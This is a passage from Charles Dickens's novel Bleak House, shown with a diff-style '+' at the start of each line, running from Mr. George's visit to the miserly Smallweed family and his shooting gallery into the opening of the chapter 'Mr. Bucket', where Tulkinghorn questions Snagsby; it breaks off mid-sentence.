+operations at the hands of his granddaughter of being shaken up like
+a great bottle and poked and punched like a great bolster. Some
+indication of a neck being developed in him by these means, he and
+the sharer of his life's evening again fronting one another in their
+two porter's chairs, like a couple of sentinels long forgotten on
+their post by the Black Serjeant, Death.
+
+Judy the twin is worthy company for these associates. She is so
+indubitably sister to Mr. Smallweed the younger that the two kneaded
+into one would hardly make a young person of average proportions,
+while she so happily exemplifies the before-mentioned family likeness
+to the monkey tribe that attired in a spangled robe and cap she might
+walk about the table-land on the top of a barrel-organ without
+exciting much remark as an unusual specimen. Under existing
+circumstances, however, she is dressed in a plain, spare gown of
+brown stuff.
+
+Judy never owned a doll, never heard of Cinderella, never played at
+any game. She once or twice fell into children's company when she was
+about ten years old, but the children couldn't get on with Judy, and
+Judy couldn't get on with them. She seemed like an animal of another
+species, and there was instinctive repugnance on both sides. It is
+very doubtful whether Judy knows how to laugh. She has so rarely seen
+the thing done that the probabilities are strong the other way. Of
+anything like a youthful laugh, she certainly can have no conception.
+If she were to try one, she would find her teeth in her way,
+modelling that action of her face, as she has unconsciously modelled
+all its other expressions, on her pattern of sordid age. Such is
+Judy.
+
+And her twin brother couldn't wind up a top for his life. He knows no
+more of Jack the Giant Killer or of Sinbad the Sailor than he knows
+of the people in the stars. He could as soon play at leap-frog or at
+cricket as change into a cricket or a frog himself. But he is so much
+the better off than his sister that on his narrow world of fact an
+opening has dawned into such broader regions as lie within the ken of
+Mr. Guppy. Hence his admiration and his emulation of that shining
+enchanter.
+
+Judy, with a gong-like clash and clatter, sets one of the sheet-iron
+tea-trays on the table and arranges cups and saucers. The bread she
+puts on in an iron basket, and the butter (and not much of it) in a
+small pewter plate. Grandfather Smallweed looks hard after the tea as
+it is served out and asks Judy where the girl is.
+
+"Charley, do you mean?" says Judy.
+
+"Hey?" from Grandfather Smallweed.
+
+"Charley, do you mean?"
+
+This touches a spring in Grandmother Smallweed, who, chuckling as
+usual at the trivets, cries, "Over the water! Charley over the water,
+Charley over the water, over the water to Charley, Charley over the
+water, over the water to Charley!" and becomes quite energetic about
+it. Grandfather looks at the cushion but has not sufficiently
+recovered his late exertion.
+
+"Ha!" he says when there is silence. "If that's her name. She eats a
+deal. It would be better to allow her for her keep."
+
+Judy, with her brother's wink, shakes her head and purses up her
+mouth into no without saying it.
+
+"No?" returns the old man. "Why not?"
+
+"She'd want sixpence a day, and we can do it for less," says Judy.
+
+"Sure?"
+
+Judy answers with a nod of deepest meaning and calls, as she scrapes
+the butter on the loaf with every precaution against waste and cuts
+it into slices, "You, Charley, where are you?" Timidly obedient to
+the summons, a little girl in a rough apron and a large bonnet, with
+her hands covered with soap and water and a scrubbing brush in one of
+them, appears, and curtsys.
+
+"What work are you about now?" says Judy, making an ancient snap at
+her like a very sharp old beldame.
+
+"I'm a-cleaning the upstairs back room, miss," replies Charley.
+
+"Mind you do it thoroughly, and don't loiter. Shirking won't do for
+me. Make haste! Go along!" cries Judy with a stamp upon the ground.
+"You girls are more trouble than you're worth, by half."
+
+On this severe matron, as she returns to her task of scraping the
+butter and cutting the bread, falls the shadow of her brother,
+looking in at the window. For whom, knife and loaf in hand, she opens
+the street-door.
+
+"Aye, aye, Bart!" says Grandfather Smallweed. "Here you are, hey?"
+
+"Here I am," says Bart.
+
+"Been along with your friend again, Bart?"
+
+Small nods.
+
+"Dining at his expense, Bart?"
+
+Small nods again.
+
+"That's right. Live at his expense as much as you can, and take
+warning by his foolish example. That's the use of such a friend. The
+only use you can put him to," says the venerable sage.
+
+His grandson, without receiving this good counsel as dutifully as he
+might, honours it with all such acceptance as may lie in a slight
+wink and a nod and takes a chair at the tea-table. The four old faces
+then hover over teacups like a company of ghastly cherubim, Mrs.
+Smallweed perpetually twitching her head and chattering at the
+trivets and Mr. Smallweed requiring to be repeatedly shaken up like a
+large black draught.
+
+"Yes, yes," says the good old gentleman, reverting to his lesson of
+wisdom. "That's such advice as your father would have given you,
+Bart. You never saw your father. More's the pity. He was my true
+son." Whether it is intended to be conveyed that he was particularly
+pleasant to look at, on that account, does not appear.
+
+"He was my true son," repeats the old gentleman, folding his bread
+and butter on his knee, "a good accountant, and died fifteen years
+ago."
+
+Mrs. Smallweed, following her usual instinct, breaks out with
+"Fifteen hundred pound. Fifteen hundred pound in a black box, fifteen
+hundred pound locked up, fifteen hundred pound put away and hid!" Her
+worthy husband, setting aside his bread and butter, immediately
+discharges the cushion at her, crushes her against the side of her
+chair, and falls back in his own, overpowered. His appearance, after
+visiting Mrs. Smallweed with one of these admonitions, is
+particularly impressive and not wholly prepossessing, firstly because
+the exertion generally twists his black skull-cap over one eye and
+gives him an air of goblin rakishness, secondly because he mutters
+violent imprecations against Mrs. Smallweed, and thirdly because the
+contrast between those powerful expressions and his powerless figure
+is suggestive of a baleful old malignant who would be very wicked if
+he could. All this, however, is so common in the Smallweed family
+circle that it produces no impression. The old gentleman is merely
+shaken and has his internal feathers beaten up, the cushion is
+restored to its usual place beside him, and the old lady, perhaps
+with her cap adjusted and perhaps not, is planted in her chair again,
+ready to be bowled down like a ninepin.
+
+Some time elapses in the present instance before the old gentleman is
+sufficiently cool to resume his discourse, and even then he mixes it
+up with several edifying expletives addressed to the unconscious
+partner of his bosom, who holds communication with nothing on earth
+but the trivets. As thus: "If your father, Bart, had lived longer, he
+might have been worth a deal of money--you brimstone chatterer!--but
+just as he was beginning to build up the house that he had been
+making the foundations for, through many a year--you jade of a
+magpie, jackdaw, and poll-parrot, what do you mean!--he took ill and
+died of a low fever, always being a sparing and a spare man, full of
+business care--I should like to throw a cat at you instead of a
+cushion, and I will too if you make such a confounded fool of
+yourself!--and your mother, who was a prudent woman as dry as a chip,
+just dwindled away like touchwood after you and Judy were born--you
+are an old pig. You are a brimstone pig. You're a head of swine!"
+
+Judy, not interested in what she has often heard, begins to collect
+in a basin various tributary streams of tea, from the bottoms of cups
+and saucers and from the bottom of the tea-pot for the little
+charwoman's evening meal. In like manner she gets together, in the
+iron bread-basket, as many outside fragments and worn-down heels of
+loaves as the rigid economy of the house has left in existence.
+
+"But your father and me were partners, Bart," says the old gentleman,
+"and when I am gone, you and Judy will have all there is. It's rare
+for you both that you went out early in life--Judy to the flower
+business, and you to the law. You won't want to spend it. You'll get
+your living without it, and put more to it. When I am gone, Judy will
+go back to the flower business and you'll still stick to the law."
+
+One might infer from Judy's appearance that her business rather lay
+with the thorns than the flowers, but she has in her time been
+apprenticed to the art and mystery of artificial flower-making. A
+close observer might perhaps detect both in her eye and her
+brother's, when their venerable grandsire anticipates his being gone,
+some little impatience to know when he may be going, and some
+resentful opinion that it is time he went.
+
+"Now, if everybody has done," says Judy, completing her preparations,
+"I'll have that girl in to her tea. She would never leave off if she
+took it by herself in the kitchen."
+
+Charley is accordingly introduced, and under a heavy fire of eyes,
+sits down to her basin and a Druidical ruin of bread and butter. In
+the active superintendence of this young person, Judy Smallweed
+appears to attain a perfectly geological age and to date from the
+remotest periods. Her systematic manner of flying at her and pouncing
+on her, with or without pretence, whether or no, is wonderful,
+evincing an accomplishment in the art of girl-driving seldom reached
+by the oldest practitioners.
+
+"Now, don't stare about you all the afternoon," cries Judy, shaking
+her head and stamping her foot as she happens to catch the glance
+which has been previously sounding the basin of tea, "but take your
+victuals and get back to your work."
+
+"Yes, miss," says Charley.
+
+"Don't say yes," returns Miss Smallweed, "for I know what you girls
+are. Do it without saying it, and then I may begin to believe you."
+
+Charley swallows a great gulp of tea in token of submission and so
+disperses the Druidical ruins that Miss Smallweed charges her not to
+gormandize, which "in you girls," she observes, is disgusting.
+Charley might find some more difficulty in meeting her views on the
+general subject of girls but for a knock at the door.
+
+"See who it is, and don't chew when you open it!" cries Judy.
+
+The object of her attentions withdrawing for the purpose, Miss
+Smallweed takes that opportunity of jumbling the remainder of the
+bread and butter together and launching two or three dirty tea-cups
+into the ebb-tide of the basin of tea as a hint that she considers
+the eating and drinking terminated.
+
+"Now! Who is it, and what's wanted?" says the snappish Judy.
+
+It is one Mr. George, it appears. Without other announcement or
+ceremony, Mr. George walks in.
+
+"Whew!" says Mr. George. "You are hot here. Always a fire, eh? Well!
+Perhaps you do right to get used to one." Mr. George makes the latter
+remark to himself as he nods to Grandfather Smallweed.
+
+"Ho! It's you!" cries the old gentleman. "How de do? How de do?"
+
+"Middling," replies Mr. George, taking a chair. "Your granddaughter I
+have had the honour of seeing before; my service to you, miss."
+
+"This is my grandson," says Grandfather Smallweed. "You ha'n't seen
+him before. He is in the law and not much at home."
+
+"My service to him, too! He is like his sister. He is very like his
+sister. He is devilish like his sister," says Mr. George, laying a
+great and not altogether complimentary stress on his last adjective.
+
+"And how does the world use you, Mr. George?" Grandfather Smallweed
+inquires, slowly rubbing his legs.
+
+"Pretty much as usual. Like a football."
+
+He is a swarthy brown man of fifty, well made, and good looking, with
+crisp dark hair, bright eyes, and a broad chest. His sinewy and
+powerful hands, as sunburnt as his face, have evidently been used to
+a pretty rough life. What is curious about him is that he sits
+forward on his chair as if he were, from long habit, allowing space
+for some dress or accoutrements that he has altogether laid aside.
+His step too is measured and heavy and would go well with a weighty
+clash and jingle of spurs. He is close-shaved now, but his mouth is
+set as if his upper lip had been for years familiar with a great
+moustache; and his manner of occasionally laying the open palm of his
+broad brown hand upon it is to the same effect. Altogether one might
+guess Mr. George to have been a trooper once upon a time.
+
+A special contrast Mr. George makes to the Smallweed family. Trooper
+was never yet billeted upon a household more unlike him. It is a
+broadsword to an oyster-knife. His developed figure and their stunted
+forms, his large manner filling any amount of room and their little
+narrow pinched ways, his sounding voice and their sharp spare tones,
+are in the strongest and the strangest opposition. As he sits in the
+middle of the grim parlour, leaning a little forward, with his hands
+upon his thighs and his elbows squared, he looks as though, if he
+remained there long, he would absorb into himself the whole family
+and the whole four-roomed house, extra little back-kitchen and all.
+
+"Do you rub your legs to rub life into 'em?" he asks of Grandfather
+Smallweed after looking round the room.
+
+"Why, it's partly a habit, Mr. George, and--yes--it partly helps the
+circulation," he replies.
+
+"The cir-cu-la-tion!" repeats Mr. George, folding his arms upon his
+chest and seeming to become two sizes larger. "Not much of that, I
+should think."
+
+"Truly I'm old, Mr. George," says Grandfather Smallweed. "But I can
+carry my years. I'm older than HER," nodding at his wife, "and see
+what she is? You're a brimstone chatterer!" with a sudden revival of
+his late hostility.
+
+"Unlucky old soul!" says Mr. George, turning his head in that
+direction. "Don't scold the old lady. Look at her here, with her poor
+cap half off her head and her poor hair all in a muddle. Hold up,
+ma'am. That's better. There we are! Think of your mother, Mr.
+Smallweed," says Mr. George, coming back to his seat from assisting
+her, "if your wife an't enough."
+
+"I suppose you were an excellent son, Mr. George?" the old man hints
+with a leer.
+
+The colour of Mr. George's face rather deepens as he replies, "Why
+no. I wasn't."
+
+"I am astonished at it."
+
+"So am I. I ought to have been a good son, and I think I meant to
+have been one. But I wasn't. I was a thundering bad son, that's the
+long and the short of it, and never was a credit to anybody."
+
+"Surprising!" cries the old man.
+
+"However," Mr. George resumes, "the less said about it, the better
+now. Come! You know the agreement. Always a pipe out of the two
+months' interest! (Bosh! It's all correct. You needn't be afraid to
+order the pipe. Here's the new bill, and here's the two months'
+interest-money, and a devil-and-all of a scrape it is to get it
+together in my business.)"
+
+Mr. George sits, with his arms folded, consuming the family and the
+parlour while Grandfather Smallweed is assisted by Judy to two black
+leathern cases out of a locked bureau, in one of which he secures the
+document he has just received, and from the other takes another
+similar document which he hands to Mr. George, who twists it up for a
+pipelight. As the old man inspects, through his glasses, every
+up-stroke and down-stroke of both documents before he releases them
+from their leathern prison, and as he counts the money three times
+over and requires Judy to say every word she utters at least twice,
+and is as tremulously slow of speech and action as it is possible to
+be, this business is a long time in progress. When it is quite
+concluded, and not before, he disengages his ravenous eyes and
+fingers from it and answers Mr. George's last remark by saying,
+"Afraid to order the pipe? We are not so mercenary as that, sir.
+Judy, see directly to the pipe and the glass of cold brandy-and-water
+for Mr. George."
+
+The sportive twins, who have been looking straight before them all
+this time except when they have been engrossed by the black leathern
+cases, retire together, generally disdainful of the visitor, but
+leaving him to the old man as two young cubs might leave a traveller
+to the parental bear.
+
+"And there you sit, I suppose, all the day long, eh?" says Mr. George
+with folded arms.
+
+"Just so, just so," the old man nods.
+
+"And don't you occupy yourself at all?"
+
+"I watch the fire--and the boiling and the roasting--"
+
+"When there is any," says Mr. George with great expression.
+
+"Just so. When there is any."
+
+"Don't you read or get read to?"
+
+The old man shakes his head with sharp sly triumph. "No, no. We have
+never been readers in our family. It don't pay. Stuff. Idleness.
+Folly. No, no!"
+
+"There's not much to choose between your two states," says the
+visitor in a key too low for the old man's dull hearing as he looks
+from him to the old woman and back again. "I say!" in a louder voice.
+
+"I hear you."
+
+"You'll sell me up at last, I suppose, when I am a day in arrear."
+
+"My dear friend!" cries Grandfather Smallweed, stretching out both
+hands to embrace him. "Never! Never, my dear friend! But my friend in
+the city that I got to lend you the money--HE might!"
+
+"Oh! You can't answer for him?" says Mr. George, finishing the
+inquiry in his lower key with the words "You lying old rascal!"
+
+"My dear friend, he is not to be depended on. I wouldn't trust him.
+He will have his bond, my dear friend."
+
+"Devil doubt him," says Mr. George. Charley appearing with a
+tray, on which are the pipe, a small paper of tobacco, and the
+brandy-and-water, he asks her, "How do you come here! You haven't got
+the family face."
+
+"I goes out to work, sir," returns Charley.
+
+The trooper (if trooper he be or have been) takes her bonnet off,
+with a light touch for so strong a hand, and pats her on the head.
+"You give the house almost a wholesome look. It wants a bit of youth
+as much as it wants fresh air." Then he dismisses her, lights his
+pipe, and drinks to Mr. Smallweed's friend in the city--the one
+solitary flight of that esteemed old gentleman's imagination.
+
+"So you think he might be hard upon me, eh?"
+
+"I think he might--I am afraid he would. I have known him do it,"
+says Grandfather Smallweed incautiously, "twenty times."
+
+Incautiously, because his stricken better-half, who has been dozing
+over the fire for some time, is instantly aroused and jabbers "Twenty
+thousand pounds, twenty twenty-pound notes in a money-box, twenty
+guineas, twenty million twenty per cent, twenty--" and is then cut
+short by the flying cushion, which the visitor, to whom this singular
+experiment appears to be a novelty, snatches from her face as it
+crushes her in the usual manner.
+
+"You're a brimstone idiot. You're a scorpion--a brimstone scorpion!
+You're a sweltering toad. You're a chattering clattering broomstick
+witch that ought to be burnt!" gasps the old man, prostrate in his
+chair. "My dear friend, will you shake me up a little?"
+
+Mr. George, who has been looking first at one of them and then at the
+other, as if he were demented, takes his venerable acquaintance by
+the throat on receiving this request, and dragging him upright in his
+chair as easily as if he were a doll, appears in two minds whether or
+no to shake all future power of cushioning out of him and shake him
+into his grave. Resisting the temptation, but agitating him violently
+enough to make his head roll like a harlequin's, he puts him smartly
+down in his chair again and adjusts his skull-cap with such a rub
+that the old man winks with both eyes for a minute afterwards.
+
+"O Lord!" gasps Mr. Smallweed. "That'll do. Thank you, my dear
+friend, that'll do. Oh, dear me, I'm out of breath. O Lord!" And Mr.
+Smallweed says it not without evident apprehensions of his dear
+friend, who still stands over him looming larger than ever.
+
+The alarming presence, however, gradually subsides into its chair and
+falls to smoking in long puffs, consoling itself with the
+philosophical reflection, "The name of your friend in the city begins
+with a D, comrade, and you're about right respecting the bond."
+
+"Did you speak, Mr. George?" inquires the old man.
+
+The trooper shakes his head, and leaning forward with his right elbow
+on his right knee and his pipe supported in that hand, while his
+other hand, resting on his left leg, squares his left elbow in a
+martial manner, continues to smoke. Meanwhile he looks at Mr.
+Smallweed with grave attention and now and then fans the cloud of
+smoke away in order that he may see him the more clearly.
+
+"I take it," he says, making just as much and as little change in his
+position as will enable him to reach the glass to his lips with a
+round, full action, "that I am the only man alive (or dead either)
+that gets the value of a pipe out of YOU?"
+
+"Well," returns the old man, "it's true that I don't see company, Mr.
+George, and that I don't treat. I can't afford to it. But as you, in
+your pleasant way, made your pipe a condition--"
+
+"Why, it's not for the value of it; that's no great thing. It was a
+fancy to get it out of you. To have something in for my money."
+
+"Ha! You're prudent, prudent, sir!" cries Grandfather Smallweed,
+rubbing his legs.
+
+"Very. I always was." Puff. "It's a sure sign of my prudence that I
+ever found the way here." Puff. "Also, that I am what I am." Puff. "I
+am well known to be prudent," says Mr. George, composedly smoking. "I
+rose in life that way."
+
+"Don't be down-hearted, sir. You may rise yet."
+
+Mr. George laughs and drinks.
+
+"Ha'n't you no relations, now," asks Grandfather Smallweed with a
+twinkle in his eyes, "who would pay off this little principal or who
+would lend you a good name or two that I could persuade my friend in
+the city to make you a further advance upon? Two good names would be
+sufficient for my friend in the city. Ha'n't you no such relations,
+Mr. George?"
+
+Mr. George, still composedly smoking, replies, "If I had, I shouldn't
+trouble them. I have been trouble enough to my belongings in my day.
+It MAY be a very good sort of penitence in a vagabond, who has wasted
+the best time of his life, to go back then to decent people that he
+never was a credit to and live upon them, but it's not my sort. The
+best kind of amends then for having gone away is to keep away, in my
+opinion."
+
+"But natural affection, Mr. George," hints Grandfather Smallweed.
+
+"For two good names, hey?" says Mr. George, shaking his head and
+still composedly smoking. "No. That's not my sort either."
+
+Grandfather Smallweed has been gradually sliding down in his chair
+since his last adjustment and is now a bundle of clothes with a voice
+in it calling for Judy. That houri, appearing, shakes him up in the
+usual manner and is charged by the old gentleman to remain near him.
+For he seems chary of putting his visitor to the trouble of repeating
+his late attentions.
+
+"Ha!" he observes when he is in trim again. "If you could have traced
+out the captain, Mr. George, it would have been the making of you. If
+when you first came here, in consequence of our advertisement in the
+newspapers--when I say 'our,' I'm alluding to the advertisements of
+my friend in the city, and one or two others who embark their capital
+in the same way, and are so friendly towards me as sometimes to give
+me a lift with my little pittance--if at that time you could have
+helped us, Mr. George, it would have been the making of you."
+
+"I was willing enough to be 'made,' as you call it," says Mr. George,
+smoking not quite so placidly as before, for since the entrance of
+Judy he has been in some measure disturbed by a fascination, not of
+the admiring kind, which obliges him to look at her as she stands by
+her grandfather's chair, "but on the whole, I am glad I wasn't now."
+
+"Why, Mr. George? In the name of--of brimstone, why?" says
+Grandfather Smallweed with a plain appearance of exasperation.
+(Brimstone apparently suggested by his eye lighting on Mrs. Smallweed
+in her slumber.)
+
+"For two reasons, comrade."
+
+"And what two reasons, Mr. George? In the name of the--"
+
+"Of our friend in the city?" suggests Mr. George, composedly
+drinking.
+
+"Aye, if you like. What two reasons?"
+
+"In the first place," returns Mr. George, but still looking at Judy
+as if she being so old and so like her grandfather it is indifferent
+which of the two he addresses, "you gentlemen took me in. You
+advertised that Mr. Hawdon (Captain Hawdon, if you hold to the saying
+'Once a captain, always a captain') was to hear of something to his
+advantage."
+
+"Well?" returns the old man shrilly and sharply.
+
+"Well!" says Mr. George, smoking on. "It wouldn't have been much to
+his advantage to have been clapped into prison by the whole bill and
+judgment trade of London."
+
+"How do you know that? Some of his rich relations might have paid his
+debts or compounded for 'em. Besides, he had taken US in. He owed us
+immense sums all round. I would sooner have strangled him than had no
+return. If I sit here thinking of him," snarls the old man, holding
+up his impotent ten fingers, "I want to strangle him now." And in a
+sudden access of fury, he throws the cushion at the unoffending Mrs.
+Smallweed, but it passes harmlessly on one side of her chair.
+
+"I don't need to be told," returns the trooper, taking his pipe from
+his lips for a moment and carrying his eyes back from following the
+progress of the cushion to the pipe-bowl which is burning low, "that
+he carried on heavily and went to ruin. I have been at his right hand
+many a day when he was charging upon ruin full-gallop. I was with him
+when he was sick and well, rich and poor. I laid this hand upon him
+after he had run through everything and broken down everything
+beneath him--when he held a pistol to his head."
+
+"I wish he had let it off," says the benevolent old man, "and blown
+his head into as many pieces as he owed pounds!"
+
+"That would have been a smash indeed," returns the trooper coolly;
+"any way, he had been young, hopeful, and handsome in the days gone
+by, and I am glad I never found him, when he was neither, to lead to
+a result so much to his advantage. That's reason number one."
+
+"I hope number two's as good?" snarls the old man.
+
+"Why, no. It's more of a selfish reason. If I had found him, I must
+have gone to the other world to look. He was there."
+
+"How do you know he was there?"
+
+"He wasn't here."
+
+"How do you know he wasn't here?"
+
+"Don't lose your temper as well as your money," says Mr. George,
+calmly knocking the ashes out of his pipe. "He was drowned long
+before. I am convinced of it. He went over a ship's side. Whether
+intentionally or accidentally, I don't know. Perhaps your friend in
+the city does. Do you know what that tune is, Mr. Smallweed?" he adds
+after breaking off to whistle one, accompanied on the table with the
+empty pipe.
+
+"Tune!" replied the old man. "No. We never have tunes here."
+
+"That's the Dead March in Saul. They bury soldiers to it,
+so it's the natural end of the subject. Now, if your pretty
+granddaughter--excuse me, miss--will condescend to take care of this
+pipe for two months, we shall save the cost of one next time. Good
+evening, Mr. Smallweed!"
+
+"My dear friend!" the old man gives him both his hands.
+
+"So you think your friend in the city will be hard upon me if I fall
+in a payment?" says the trooper, looking down upon him like a giant.
+
+"My dear friend, I am afraid he will," returns the old man, looking
+up at him like a pygmy.
+
+Mr. George laughs, and with a glance at Mr. Smallweed and a parting
+salutation to the scornful Judy, strides out of the parlour, clashing
+imaginary sabres and other metallic appurtenances as he goes.
+
+"You're a damned rogue," says the old gentleman, making a hideous
+grimace at the door as he shuts it. "But I'll lime you, you dog, I'll
+lime you!"
+
+After this amiable remark, his spirit soars into those enchanting
+regions of reflection which its education and pursuits have opened to
+it, and again he and Mrs. Smallweed while away the rosy hours, two
+unrelieved sentinels forgotten as aforesaid by the Black Serjeant.
+
+While the twain are faithful to their post, Mr. George strides
+through the streets with a massive kind of swagger and a grave-enough
+face. It is eight o'clock now, and the day is fast drawing in. He
+stops hard by Waterloo Bridge and reads a playbill, decides to go to
+Astley's Theatre. Being there, is much delighted with the horses and
+the feats of strength; looks at the weapons with a critical eye;
+disapproves of the combats as giving evidences of unskilful
+swordsmanship; but is touched home by the sentiments. In the last
+scene, when the Emperor of Tartary gets up into a cart and
+condescends to bless the united lovers by hovering over them with the
+Union Jack, his eyelashes are moistened with emotion.
+
+The theatre over, Mr. George comes across the water again and makes
+his way to that curious region lying about the Haymarket and
+Leicester Square which is a centre of attraction to indifferent
+foreign hotels and indifferent foreigners, racket-courts,
+fighting-men, swordsmen, footguards, old china, gaming-houses,
+exhibitions, and a large medley of shabbiness and shrinking out of
+sight. Penetrating to the heart of this region, he arrives by a court
+and a long whitewashed passage at a great brick building composed of
+bare walls, floors, roof-rafters, and skylights, on the front of
+which, if it can be said to have any front, is painted GEORGE'S
+SHOOTING GALLERY, &c.
+
+Into George's Shooting Gallery, &c., he goes; and in it there are
+gaslights (partly turned off now), and two whitened targets for
+rifle-shooting, and archery accommodation, and fencing appliances,
+and all necessaries for the British art of boxing. None of these
+sports or exercises being pursued in George's Shooting Gallery
+to-night, which is so devoid of company that a little grotesque man
+with a large head has it all to himself and lies asleep upon the
+floor.
+
+The little man is dressed something like a gunsmith, in a green-baize
+apron and cap; and his face and hands are dirty with gunpowder and
+begrimed with the loading of guns. As he lies in the light before a
+glaring white target, the black upon him shines again. Not far off is
+the strong, rough, primitive table with a vice upon it at which he
+has been working. He is a little man with a face all crushed
+together, who appears, from a certain blue and speckled appearance
+that one of his cheeks presents, to have been blown up, in the way of
+business, at some odd time or times.
+
+"Phil!" says the trooper in a quiet voice.
+
+"All right!" cries Phil, scrambling to his feet.
+
+"Anything been doing?"
+
+"Flat as ever so much swipes," says Phil. "Five dozen rifle and a
+dozen pistol. As to aim!" Phil gives a howl at the recollection.
+
+"Shut up shop, Phil!"
+
+As Phil moves about to execute this order, it appears that he is
+lame, though able to move very quickly. On the speckled side of his
+face he has no eyebrow, and on the other side he has a bushy black
+one, which want of uniformity gives him a very singular and rather
+sinister appearance. Everything seems to have happened to his hands
+that could possibly take place consistently with the retention of all
+the fingers, for they are notched, and seamed, and crumpled all over.
+He appears to be very strong and lifts heavy benches about as if he
+had no idea what weight was. He has a curious way of limping round
+the gallery with his shoulder against the wall and tacking off at
+objects he wants to lay hold of instead of going straight to them,
+which has left a smear all round the four walls, conventionally
+called "Phil's mark."
+
+This custodian of George's Gallery in George's absence concludes his
+proceedings, when he has locked the great doors and turned out all
+the lights but one, which he leaves to glimmer, by dragging out from
+a wooden cabin in a corner two mattresses and bedding. These being
+drawn to opposite ends of the gallery, the trooper makes his own bed
+and Phil makes his.
+
+"Phil!" says the master, walking towards him without his coat and
+waistcoat, and looking more soldierly than ever in his braces. "You
+were found in a doorway, weren't you?"
+
+"Gutter," says Phil. "Watchman tumbled over me."
+
+"Then vagabondizing came natural to YOU from the beginning."
+
+"As nat'ral as possible," says Phil.
+
+"Good night!"
+
+"Good night, guv'ner."
+
+Phil cannot even go straight to bed, but finds it necessary to
+shoulder round two sides of the gallery and then tack off at his
+mattress. The trooper, after taking a turn or two in the
+rifle-distance and looking up at the moon now shining through the
+skylights, strides to his own mattress by a shorter route and goes to
+bed too.
+
+
+
+
+CHAPTER XXII
+
+Mr. Bucket
+
+
+Allegory looks pretty cool in Lincoln's Inn Fields, though the
+evening is hot, for both Mr. Tulkinghorn's windows are wide open, and
+the room is lofty, gusty, and gloomy. These may not be desirable
+characteristics when November comes with fog and sleet or January
+with ice and snow, but they have their merits in the sultry long
+vacation weather. They enable Allegory, though it has cheeks like
+peaches, and knees like bunches of blossoms, and rosy swellings for
+calves to its legs and muscles to its arms, to look tolerably cool
+to-night.
+
+Plenty of dust comes in at Mr. Tulkinghorn's windows, and plenty more
+has generated among his furniture and papers. It lies thick
+everywhere. When a breeze from the country that has lost its way
+takes fright and makes a blind hurry to rush out again, it flings as
+much dust in the eyes of Allegory as the law--or Mr. Tulkinghorn, one
+of its trustiest representatives--may scatter, on occasion, in the
+eyes of the laity.
+
+In his lowering magazine of dust, the universal article into which
+his papers and himself, and all his clients, and all things of earth,
+animate and inanimate, are resolving, Mr. Tulkinghorn sits at one of
+the open windows enjoying a bottle of old port. Though a hard-grained
+man, close, dry, and silent, he can enjoy old wine with the best. He
+has a priceless bin of port in some artful cellar under the Fields,
+which is one of his many secrets. When he dines alone in chambers, as
+he has dined to-day, and has his bit of fish and his steak or chicken
+brought in from the coffee-house, he descends with a candle to the
+echoing regions below the deserted mansion, and heralded by a remote
+reverberation of thundering doors, comes gravely back encircled by an
+earthy atmosphere and carrying a bottle from which he pours a radiant
+nectar, two score and ten years old, that blushes in the glass to
+find itself so famous and fills the whole room with the fragrance of
+southern grapes.
+
+Mr. Tulkinghorn, sitting in the twilight by the open window, enjoys
+his wine. As if it whispered to him of its fifty years of silence and
+seclusion, it shuts him up the closer. More impenetrable than ever,
+he sits, and drinks, and mellows as it were in secrecy, pondering at
+that twilight hour on all the mysteries he knows, associated with
+darkening woods in the country, and vast blank shut-up houses in
+town, and perhaps sparing a thought or two for himself, and his
+family history, and his money, and his will--all a mystery to every
+one--and that one bachelor friend of his, a man of the same mould and
+a lawyer too, who lived the same kind of life until he was
+seventy-five years old, and then suddenly conceiving (as it is
+supposed) an impression that it was too monotonous, gave his gold
+watch to his hair-dresser one summer evening and walked leisurely
+home to the Temple and hanged himself.
+
+But Mr. Tulkinghorn is not alone to-night to ponder at his usual
+length. Seated at the same table, though with his chair modestly and
+uncomfortably drawn a little way from it, sits a bald, mild, shining
+man who coughs respectfully behind his hand when the lawyer bids him
+fill his glass.
+
+"Now, Snagsby," says Mr. Tulkinghorn, "to go over this odd story
+again."
+
+"If you please, sir."
+
+"You told me when you were so good as to step round here last
+night--"
+
+"For which I must ask you to excuse me if it was a liberty, sir; but
+I remember that you had taken a sort of an interest in that person,
+and I thought it possible that you might--just--wish--to--"
+
+Mr. Tulkinghorn is not the man to help him to any conclusion or to
+admit anything as to any possibility concerning himself. So Mr.
+Snagsby trails off into saying, with an awkward cough, "I must ask
+you to excuse the liberty, sir, I am sure."
+
+"Not at all," says Mr. Tulkinghorn. "You told me, Snagsby, that you
+put on your hat and came round without mentioning your intention to
+your wife. That was prudent I think, because it's not a matter of
+such importance that it requires to be mentioned."
+
+"Well, sir," returns Mr. Snagsby, "you see, my little woman is--not
+to put too fine a point upon it--inquisitive. She's inquisitive. Poor
+little thing, she's liable to spasms, and it's good for her to have
+her mind employed. In consequence of which she employs it--I should
+say upon every individual thing she can lay hold of, whether it
+concerns her or not--especially not. My little woman has a very
+active mind, sir."
+
+Mr. Snagsby drinks and murmurs with an admiring cough behind his
+hand, "Dear me, very fine wine indeed!"
+
+"Therefore you kept your visit to yourself last night?" says Mr.
+Tulkinghorn. "And to-night too?"
+
+"Yes, sir, and to-night, too. My little woman is at present in--not
+to put too fine a point on it--in a pious state, or in what she
+considers such, and attends the Evening Exertions (which is the name
+they go by) of a reverend party of the name of Chadband. He has a
+great deal of eloquence at his command, undoubtedly, but I am not
+quite favourable to his style myself. That's neither here nor there.
+My little woman being engaged in that way made it easier for me to
+step round in a quiet manner."
+
+Mr. Tulkinghorn assents. "Fill your glass, Snagsby."
+
+"Thank you, sir, I am sure," returns the stationer with his cough of
+deference. "This is wonderfully fine wine, sir!"
+
+"It is a rare wine now," says Mr. Tulkinghorn. "It is fifty years
+old."
+
+"Is it indeed, sir? But I am not surprised to hear it, I am sure. It
+might be--any age almost." After rendering this general tribute to
+the port, Mr. Snagsby in his modesty coughs an apology behind his
+hand for drinking anything so precious.
+
+"Will you run over, once again, what the boy said?" asks Mr.
+Tulkinghorn, putting his hands into the pockets of his rusty
+smallclothes and leaning quietly back in his chair.
+
+"With pleasure, sir."
+
+Then, with fidelity, though with some prolixity, the law-stationer
+repeats Jo's statement made to the assembled guests at his house. On
+coming to the end of his narrative, he gives a great start and breaks
+off with, "Dear me, sir, I wasn't aware there was any other gentleman
+present!"
+
+Mr. Snagsby is dismayed to see, standing with an attentive face
+between himself and the lawyer at a little distance from the table, a
+person with a hat and stick in his hand who was not there when he
+himself came in and has not since entered by the door or by either of
+the windows. There is a press in the room, but its hinges have not
+creaked, nor has a step been audible upon the floor. Yet this third
+person stands there with his attentive face, and his hat and stick in
+his hands, and his hands behind him, a composed and quiet listener.
+He is a stoutly built, steady-looking, sharp-eyed man in black, of
+about the middle-age. Except that he looks at Mr. Snagsby as if he
+were going to take his portrait, there is nothing remarkable about
